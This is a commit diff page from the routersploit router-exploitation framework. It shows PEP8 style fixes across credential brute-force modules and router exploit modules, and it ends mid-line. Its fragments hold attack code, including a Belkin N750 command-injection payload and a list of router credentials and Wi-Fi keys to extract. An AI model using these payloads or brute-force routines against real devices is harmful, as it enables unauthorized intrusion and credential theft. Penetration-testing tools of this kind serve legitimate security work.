Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
d4152b25
Commit
d4152b25
authored
Apr 14, 2016
by
Leonardo Lazzaro
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
fixed some PEP8 errors like mixed tabs and spaces, import *, etc
parent
ebba273c
Show whitespace changes
Inline
Side-by-side
Showing
35 changed files
with
291 additions
and
113 deletions
+291
-113
exceptions.py
routersploit/exceptions.py
+0
-0
interpreter.py
routersploit/interpreter.py
+1
-1
ftp_bruteforce.py
routersploit/modules/creds/ftp_bruteforce.py
+9
-1
ftp_default.py
routersploit/modules/creds/ftp_default.py
+9
-1
http_basic_bruteforce.py
routersploit/modules/creds/http_basic_bruteforce.py
+10
-1
http_basic_default.py
routersploit/modules/creds/http_basic_default.py
+10
-1
http_form_bruteforce.py
routersploit/modules/creds/http_form_bruteforce.py
+17
-9
http_form_default.py
routersploit/modules/creds/http_form_default.py
+17
-9
snmp_bruteforce.py
routersploit/modules/creds/snmp_bruteforce.py
+2
-4
ssh_bruteforce.py
routersploit/modules/creds/ssh_bruteforce.py
+9
-1
ssh_default.py
routersploit/modules/creds/ssh_default.py
+10
-2
telnet_bruteforce.py
routersploit/modules/creds/telnet_bruteforce.py
+11
-4
telnet_default.py
routersploit/modules/creds/telnet_default.py
+11
-3
gateway_auth_bypass.py
routersploit/modules/exploits/2wire/gateway_auth_bypass.py
+6
-3
ar_1004g_password_disclosure.py
...it/modules/exploits/asmax/ar_1004g_password_disclosure.py
+8
-3
ar_804_gu_rce.py
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
+8
-3
rt_n16_password_disclosure.py
...ploit/modules/exploits/asus/rt_n16_password_disclosure.py
+7
-3
g_n150_password_disclosure.py
...oit/modules/exploits/belkin/g_n150_password_disclosure.py
+7
-2
g_plus_info_disclosure.py
...rsploit/modules/exploits/belkin/g_plus_info_disclosure.py
+25
-4
n150_path_traversal.py
routersploit/modules/exploits/belkin/n150_path_traversal.py
+6
-2
n750_rce.py
routersploit/modules/exploits/belkin/n750_rce.py
+10
-5
dir_300_320_615_auth_bypass.py
...oit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py
+6
-3
dir_300_600_615_info_disclosure.py
...modules/exploits/dlink/dir_300_600_615_info_disclosure.py
+7
-3
dir_300_600_rce.py
routersploit/modules/exploits/dlink/dir_300_600_rce.py
+8
-3
dir_645_password_disclosure.py
...oit/modules/exploits/dlink/dir_645_password_disclosure.py
+7
-3
dns_320l_327l_rce.py
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
+8
-5
dsl_2750b_info_disclosure.py
...ploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py
+8
-4
dwr_932_info_disclosure.py
...rsploit/modules/exploits/dlink/dwr_932_info_disclosure.py
+8
-3
fortigate_os_backdoor.py
...sploit/modules/exploits/fortinet/fortigate_os_backdoor.py
+6
-3
screenos_backdoor.py
routersploit/modules/exploits/juniper/screenos_backdoor.py
+9
-8
wap54gv3_rce.py
routersploit/modules/exploits/linksys/wap54gv3_rce.py
+8
-3
misfortune_cookie.py
routersploit/modules/exploits/multi/misfortune_cookie.py
+6
-4
n300_auth_bypass.py
routersploit/modules/exploits/netgear/n300_auth_bypass.py
+6
-3
dlink_scan.py
routersploit/modules/scanners/dlink_scan.py
+8
-4
utils.py
routersploit/utils.py
+3
-2
No files found.
routersploit/exceptions.py
View file @
d4152b25
routersploit/interpreter.py
View file @
d4152b25
...
@@ -226,7 +226,7 @@ class RoutersploitInterpreter(BaseInterpreter):
...
@@ -226,7 +226,7 @@ class RoutersploitInterpreter(BaseInterpreter):
if
self
.
current_module
:
if
self
.
current_module
:
try
:
try
:
return
self
.
module_prompt_template
.
format
(
host
=
self
.
prompt_hostname
,
module
=
self
.
module_metadata
[
'name'
])
return
self
.
module_prompt_template
.
format
(
host
=
self
.
prompt_hostname
,
module
=
self
.
module_metadata
[
'name'
])
except
(
AttributeError
,
KeyError
)
as
e
:
except
(
AttributeError
,
KeyError
):
return
self
.
module_prompt_template
.
format
(
host
=
self
.
prompt_hostname
,
module
=
"UnnamedModule"
)
return
self
.
module_prompt_template
.
format
(
host
=
self
.
prompt_hostname
,
module
=
"UnnamedModule"
)
else
:
else
:
return
self
.
raw_prompt_template
.
format
(
host
=
self
.
prompt_hostname
)
return
self
.
raw_prompt_template
.
format
(
host
=
self
.
prompt_hostname
)
...
...
routersploit/modules/creds/ftp_bruteforce.py
View file @
d4152b25
...
@@ -3,7 +3,15 @@ import ftplib
...
@@ -3,7 +3,15 @@ import ftplib
import
socket
import
socket
import
itertools
import
itertools
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/ftp_default.py
View file @
d4152b25
...
@@ -2,7 +2,15 @@ import threading
...
@@ -2,7 +2,15 @@ import threading
import
ftplib
import
ftplib
import
socket
import
socket
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/http_basic_bruteforce.py
View file @
d4152b25
...
@@ -2,7 +2,16 @@ import threading
...
@@ -2,7 +2,16 @@ import threading
import
requests
import
requests
import
itertools
import
itertools
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/http_basic_default.py
View file @
d4152b25
import
threading
import
threading
import
requests
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/http_form_bruteforce.py
View file @
d4152b25
...
@@ -3,7 +3,16 @@ import requests
...
@@ -3,7 +3,16 @@ import requests
import
itertools
import
itertools
from
bs4
import
BeautifulSoup
from
bs4
import
BeautifulSoup
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -37,7 +46,7 @@ class Exploit(exploits.Exploit):
...
@@ -37,7 +46,7 @@ class Exploit(exploits.Exploit):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
try
:
try
:
r
=
r
equests
.
get
(
url
)
requests
.
get
(
url
)
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
):
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
):
print_error
(
"Invalid URL format:
%
s"
%
url
)
print_error
(
"Invalid URL format:
%
s"
%
url
)
return
return
...
@@ -49,7 +58,7 @@ class Exploit(exploits.Exploit):
...
@@ -49,7 +58,7 @@ class Exploit(exploits.Exploit):
if
self
.
form
==
'auto'
:
if
self
.
form
==
'auto'
:
self
.
data
=
self
.
detect_form
()
self
.
data
=
self
.
detect_form
()
if
self
.
data
==
None
:
if
self
.
data
is
None
:
print_error
(
"Could not detect form"
)
print_error
(
"Could not detect form"
)
return
return
else
:
else
:
...
@@ -108,7 +117,7 @@ class Exploit(exploits.Exploit):
...
@@ -108,7 +117,7 @@ class Exploit(exploits.Exploit):
form
=
soup
.
find
(
"form"
)
form
=
soup
.
find
(
"form"
)
if
form
==
None
:
if
form
is
None
:
return
None
return
None
if
len
(
form
)
>
0
:
if
len
(
form
)
>
0
:
...
@@ -116,14 +125,14 @@ class Exploit(exploits.Exploit):
...
@@ -116,14 +125,14 @@ class Exploit(exploits.Exploit):
for
inp
in
form
.
findAll
(
"input"
):
for
inp
in
form
.
findAll
(
"input"
):
if
'name'
in
inp
.
attrs
.
keys
():
if
'name'
in
inp
.
attrs
.
keys
():
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
]:
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
]:
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
else
:
else
:
if
'value'
in
inp
.
attrs
.
keys
():
if
'value'
in
inp
.
attrs
.
keys
():
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
else
:
else
:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
return
'&'
.
join
(
res
)
return
'&'
.
join
(
res
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
...
@@ -153,4 +162,3 @@ class Exploit(exploits.Exploit):
...
@@ -153,4 +162,3 @@ class Exploit(exploits.Exploit):
break
break
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
)
routersploit/modules/creds/http_form_default.py
View file @
d4152b25
...
@@ -2,7 +2,16 @@ import threading
...
@@ -2,7 +2,16 @@ import threading
import
requests
import
requests
from
bs4
import
BeautifulSoup
from
bs4
import
BeautifulSoup
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -35,7 +44,7 @@ class Exploit(exploits.Exploit):
...
@@ -35,7 +44,7 @@ class Exploit(exploits.Exploit):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
try
:
try
:
r
=
r
equests
.
get
(
url
)
requests
.
get
(
url
)
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
):
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
):
print_error
(
"Invalid URL format:
%
s"
%
url
)
print_error
(
"Invalid URL format:
%
s"
%
url
)
return
return
...
@@ -47,7 +56,7 @@ class Exploit(exploits.Exploit):
...
@@ -47,7 +56,7 @@ class Exploit(exploits.Exploit):
if
self
.
form
==
'auto'
:
if
self
.
form
==
'auto'
:
self
.
data
=
self
.
detect_form
()
self
.
data
=
self
.
detect_form
()
if
self
.
data
==
None
:
if
self
.
data
is
None
:
print_error
(
"Could not detect form"
)
print_error
(
"Could not detect form"
)
return
return
else
:
else
:
...
@@ -101,7 +110,7 @@ class Exploit(exploits.Exploit):
...
@@ -101,7 +110,7 @@ class Exploit(exploits.Exploit):
form
=
soup
.
find
(
"form"
)
form
=
soup
.
find
(
"form"
)
if
form
==
None
:
if
form
is
None
:
return
None
return
None
if
len
(
form
)
>
0
:
if
len
(
form
)
>
0
:
...
@@ -109,14 +118,14 @@ class Exploit(exploits.Exploit):
...
@@ -109,14 +118,14 @@ class Exploit(exploits.Exploit):
for
inp
in
form
.
findAll
(
"input"
):
for
inp
in
form
.
findAll
(
"input"
):
if
'name'
in
inp
.
attrs
.
keys
():
if
'name'
in
inp
.
attrs
.
keys
():
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
]:
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
]:
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
else
:
else
:
if
'value'
in
inp
.
attrs
.
keys
():
if
'value'
in
inp
.
attrs
.
keys
():
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
else
:
else
:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
return
'&'
.
join
(
res
)
return
'&'
.
join
(
res
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
...
@@ -146,4 +155,3 @@ class Exploit(exploits.Exploit):
...
@@ -146,4 +155,3 @@ class Exploit(exploits.Exploit):
break
break
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
)
routersploit/modules/creds/snmp_bruteforce.py
View file @
d4152b25
import
threading
import
threading
import
itertools
import
netsnmp
import
netsnmp
import
socket
from
routersploit.utils
import
print_status
,
print_success
,
print_error
,
print_table
,
LockedIterator
from
routersploit.utils
import
print_status
,
print_success
,
print_error
,
print_table
,
LockedIterator
from
routersploit
import
exploits
from
routersploit
import
exploits
...
@@ -57,9 +55,9 @@ class Exploit(exploits.Exploit):
...
@@ -57,9 +55,9 @@ class Exploit(exploits.Exploit):
string
=
data
.
next
()
.
strip
()
string
=
data
.
next
()
.
strip
()
bindvariable
=
netsnmp
.
Varbind
(
".1.3.6.1.2.1.1.1.0"
)
bindvariable
=
netsnmp
.
Varbind
(
".1.3.6.1.2.1.1.1.0"
)
res
=
netsnmp
.
snmpget
(
bindvariable
,
Version
=
1
,
DestHost
=
address
,
Community
=
string
)
res
=
netsnmp
.
snmpget
(
bindvariable
,
Version
=
1
,
DestHost
=
address
,
Community
=
string
)
if
res
[
0
]
!=
None
:
if
res
[
0
]
is
not
None
:
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Valid community string found!"
.
format
(
name
),
string
)
print_success
(
"{}: Valid community string found!"
.
format
(
name
),
string
)
self
.
strings
.
append
(
tuple
([
string
]))
self
.
strings
.
append
(
tuple
([
string
]))
...
...
routersploit/modules/creds/ssh_bruteforce.py
View file @
d4152b25
...
@@ -3,7 +3,15 @@ import itertools
...
@@ -3,7 +3,15 @@ import itertools
import
socket
import
socket
import
paramiko
import
paramiko
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/ssh_default.py
View file @
d4152b25
...
@@ -2,7 +2,15 @@ import threading
...
@@ -2,7 +2,15 @@ import threading
import
paramiko
import
paramiko
import
socket
import
socket
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -72,7 +80,7 @@ class Exploit(exploits.Exploit):
...
@@ -72,7 +80,7 @@ class Exploit(exploits.Exploit):
break
break
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
ssh
.
close
()
ssh
.
close
()
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
else
:
else
:
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
...
...
routersploit/modules/creds/telnet_bruteforce.py
View file @
d4152b25
...
@@ -2,7 +2,15 @@ import threading
...
@@ -2,7 +2,15 @@ import threading
import
itertools
import
itertools
import
telnetlib
import
telnetlib
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -79,13 +87,13 @@ class Exploit(exploits.Exploit):
...
@@ -79,13 +87,13 @@ class Exploit(exploits.Exploit):
tn
.
write
(
password
+
"
\r\n
"
)
tn
.
write
(
password
+
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
tn
.
close
()
tn
.
close
()
if
i
!=
-
1
:
if
i
!=
-
1
:
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
...
@@ -100,5 +108,4 @@ class Exploit(exploits.Exploit):
...
@@ -100,5 +108,4 @@ class Exploit(exploits.Exploit):
return
return
continue
continue
print_status
(
name
,
'thread is terminated.'
)
print_status
(
name
,
'thread is terminated.'
)
routersploit/modules/creds/telnet_default.py
View file @
d4152b25
import
threading
import
threading
import
telnetlib
import
telnetlib
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -73,13 +81,13 @@ class Exploit(exploits.Exploit):
...
@@ -73,13 +81,13 @@ class Exploit(exploits.Exploit):
tn
.
write
(
password
+
"
\r\n
"
)
tn
.
write
(
password
+
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
tn
.
close
()
tn
.
close
()
if
i
!=
-
1
:
if
i
!=
-
1
:
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
...
...
routersploit/modules/exploits/2wire/gateway_auth_bypass.py
View file @
d4152b25
import
requests
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -62,4 +66,3 @@ class Exploit(exploits.Exploit):
...
@@ -62,4 +66,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_status
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -60,7 +67,6 @@ class Exploit(exploits.Exploit):
...
@@ -60,7 +67,6 @@ class Exploit(exploits.Exploit):
else
:
else
:
print_error
(
"Credentials could not be found"
)
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit):
...
@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
View file @
d4152b25
import
requests
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -27,7 +33,7 @@ class Exploit(exploits.Exploit):
...
@@ -27,7 +33,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
self
.
command_loop
()
...
@@ -65,4 +71,3 @@ class Exploit(exploits.Exploit):
...
@@ -65,4 +71,3 @@ class Exploit(exploits.Exploit):
return
True
return
True
return
False
return
False
routersploit/modules/exploits/asus/rt_n16_password_disclosure.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -56,7 +62,6 @@ class Exploit(exploits.Exploit):
...
@@ -56,7 +62,6 @@ class Exploit(exploits.Exploit):
else
:
else
:
print_error
(
"Credentials could not be found"
)
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/error_page.htm"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/error_page.htm"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -71,4 +76,3 @@ class Exploit(exploits.Exploit):
...
@@ -71,4 +76,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/belkin/g_n150_password_disclosure.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -66,4 +72,3 @@ class Exploit(exploits.Exploit):
...
@@ -66,4 +72,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/belkin/g_plus_info_disclosure.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -38,7 +44,15 @@ class Exploit(exploits.Exploit):
...
@@ -38,7 +44,15 @@ class Exploit(exploits.Exploit):
print_error
(
"Connection error:
%
s"
%
url
)
print_error
(
"Connection error:
%
s"
%
url
)
return
return
var
=
[
'pppoe_username'
,
'pppoe_password'
,
'wl0_pskkey'
,
'wl0_key1'
,
'mradius_password'
,
'mradius_secret'
,
'httpd_password'
,
'http_passwd'
,
'pppoe_passwd'
]
var
=
[
'pppoe_username'
,
'pppoe_password'
,
'wl0_pskkey'
,
'wl0_key1'
,
'mradius_password'
,
'mradius_secret'
,
'httpd_password'
,
'http_passwd'
,
'pppoe_passwd'
]
data
=
[]
data
=
[]
for
v
in
var
:
for
v
in
var
:
...
@@ -65,10 +79,17 @@ class Exploit(exploits.Exploit):
...
@@ -65,10 +79,17 @@ class Exploit(exploits.Exploit):
except
:
except
:
return
None
# could not verify
return
None
# could not verify
var
=
[
'pppoe_username'
,
'pppoe_password'
,
'wl0_pskkey'
,
'wl0_key1'
,
'mradius_password'
,
'mradius_secret'
,
'httpd_password'
,
'http_passwd'
,
'pppoe_passwd'
]
var
=
[
'pppoe_username'
,
'pppoe_password'
,
'wl0_pskkey'
,
'wl0_key1'
,
'mradius_password'
,
'mradius_secret'
,
'httpd_password'
,
'http_passwd'
,
'pppoe_passwd'
]
if
any
(
map
(
lambda
x
:
x
in
res
,
var
)):
if
any
(
map
(
lambda
x
:
x
in
res
,
var
)):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/belkin/n150_path_traversal.py
View file @
d4152b25
import
requests
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -61,4 +66,3 @@ class Exploit(exploits.Exploit):
...
@@ -61,4 +66,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/belkin/n750_rce.py
View file @
d4152b25
import
requests
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit):
...
@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
self
.
command_loop
()
...
@@ -44,7 +50,7 @@ class Exploit(exploits.Exploit):
...
@@ -44,7 +50,7 @@ class Exploit(exploits.Exploit):
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
"GO=&jump="
+
"A"
*
1379
+
";{};&ps=
\n\n
"
.
format
(
cmd
)
data
=
"GO=&jump="
+
"A"
*
1379
+
";{};&ps=
\n\n
"
.
format
(
cmd
)
try
:
try
:
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
data
,
verify
=
False
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
data
,
verify
=
False
)
...
@@ -60,7 +66,7 @@ class Exploit(exploits.Exploit):
...
@@ -60,7 +66,7 @@ class Exploit(exploits.Exploit):
# todo random mark
# todo random mark
url
=
sanitize_url
(
"{}:{}/login.cgi"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/login.cgi"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
"GO=&jump="
+
"A"
*
1379
+
";echo 9fdbd928b52c1ef61615a6fd2e8b49af;&ps=
\n\n
"
data
=
